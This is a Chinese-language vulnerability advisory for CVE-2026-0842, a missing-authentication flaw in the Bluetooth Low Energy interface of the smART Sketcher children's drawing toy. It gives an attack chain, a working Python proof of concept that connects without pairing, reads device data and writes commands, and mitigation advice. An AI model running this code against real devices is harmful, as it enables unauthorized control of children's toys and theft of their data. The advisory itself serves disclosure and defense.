IPBUF安全漏洞报告
English
CVE-2026-0842 CVSS 6.3 中危

CVE-2026-0842 Flycatcher Toys smART Sketcher蓝牙低能耗接口缺少认证漏洞

披露日期: 2026-01-11

漏洞信息

漏洞编号
CVE-2026-0842
漏洞类型
缺少认证
CVSS评分
6.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flycatcher Toys smART Sketcher

相关标签

CVE-2026-0842缺少认证蓝牙低能耗BLE安全Flycatcher ToyssmART Sketcher物联网安全智能玩具漏洞本地网络攻击访问控制缺失

漏洞概述

CVE-2026-0842是Flycatcher Toys公司生产的smART Sketcher智能绘画玩具设备中存在的安全漏洞。该漏洞位于蓝牙低能耗(BLE)接口组件中,由于缺少适当的认证机制,攻击者可以在同一本地网络范围内无需任何凭证即可与设备进行交互。smART Sketcher是一款面向儿童的智能绘画设备,通过蓝牙与配套应用连接实现绘画指导功能。由于该设备主要面向儿童市场,其安全设计缺陷可能导致隐私泄露、未授权设备控制等风险。攻击者利用此漏洞可以在不惊动设备用户的情况下,发送未经授权的指令或获取设备通信数据。此漏洞的CVSS评分为6.3,属于中等严重程度,攻击复杂度低,无需特殊权限或用户交互即可实施。

技术细节

该漏洞存在于smART Sketcher设备的蓝牙低能耗(BLE)通信接口中。设备在建立BLE连接时未实施适当的身份验证机制,允许任何处于蓝牙通信范围内的攻击者直接与设备进行数据交换。攻击者可以通过以下方式利用此漏洞:1) 扫描并识别目标设备的BLE广播信号;2) 直接建立GATT连接而无需配对或认证;3) 向设备发送未经授权的命令或数据;4) 监听设备与合法应用之间的通信以获取敏感信息。由于BLE协议本身的安全机制未被正确实现,攻击者可以利用中间人攻击或未授权访问的方式操控设备功能。该漏洞影响设备的机密性、完整性和可用性,可能导致儿童用户的绘画数据被窃取或设备功能被恶意干扰。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者使用BLE扫描工具(如hcitool、Bleah)搜索附近的smART Sketcher设备,获取其MAC地址和广播信息
STEP 2
步骤2: 漏洞探测
攻击者尝试直接连接目标设备,由于缺少认证机制,连接无需任何密钥或配对过程即可成功建立
STEP 3
步骤3: 服务枚举
连接成功后,攻击者枚举设备的GATT服务和特征值,获取可读写的句柄和可利用的功能接口
STEP 4
步骤4: 未授权访问
攻击者无需任何凭证即可读取设备数据、写入命令或修改设备配置,可能获取儿童绘画数据或设备控制权
STEP 5
步骤5: 数据窃取/设备操控
攻击者可以窃取通信内容、发送恶意指令或干扰设备正常运行,由于目标用户是儿童,危害更为严重

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
""" CVE-2026-0842 PoC - smART Sketcher BLE Authentication Bypass This script demonstrates the missing authentication vulnerability in Flycatcher Toys smART Sketcher BLE interface. Note: This code is for educational and security research purposes only. """ from bluepy.btle import Peripheral, UUID, BTLEException import sys def connect_to_smart_sketcher(mac_address): """ Connect to smART Sketcher device without authentication CVE-2026-0842: Missing authentication in BLE interface """ try: print(f"[*] Connecting to smART Sketcher at {mac_address}...") device = Peripheral(mac_address, addrType='random') print("[+] Successfully connected without authentication!") print("[!] Vulnerability CVE-2026-0842 confirmed: No authentication required") # List available services print("\n[*] Enumerating BLE services...") for service in device.getServices(): print(f"[Service] {service.uuid}: {service}") for characteristic in service.getCharacteristics(): print(f" [Char] {characteristic.uuid} - Properties: {characteristic.propertiesToString()}") # Try to read/write characteristics without auth try: if characteristic.supportsRead(): value = characteristic.read() print(f" [READ] {value}") except BTLEException as e: print(f" [READ FAILED] {e}") device.disconnect() return True except BTLEException as e: print(f"[-] Connection failed: {e}") return False def send_unauthorized_command(mac_address, command): """ Send commands to device without authorization """ try: device = Peripheral(mac_address, addrType='random') # Find command characteristic (UUID would need to be discovered) service_uuid = UUID("0000fff0-0000-1000-8000-00805f9b34fb") char_uuid = UUID("0000fff1-0000-1000-8000-00805f9b34fb") service = device.getServiceByUUID(service_uuid) characteristic = service.getCharacteristics(char_uuid)[0] # Write without authentication characteristic.write(command) print(f"[+] Command sent without authorization: {command.hex()}") device.disconnect() return True except Exception as e: print(f"[-] Command failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python smartsketch_poc.py <MAC_ADDRESS>") print("Example: python smartsketch_poc.py AA:BB:CC:DD:EE:FF") sys.exit(1) target_mac = sys.argv[1] connect_to_smart_sketcher(target_mac)

影响范围

Flycatcher Toys smART Sketcher <= 2.0

防御指南

临时缓解措施
在厂商发布修复补丁之前,建议用户:1) 尽量在受控环境使用该设备,避免在公共或不可信网络环境中使用蓝牙功能;2) 不使用时关闭设备蓝牙功能;3) 监控设备异常连接行为;4) 避免将设备与未知设备配对;5) 关注厂商安全公告,及时更新固件。由于该漏洞需要攻击者在物理蓝牙通信范围内,建议用户在使用时保持警惕,确保周围无可疑人员尝试建立蓝牙连接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表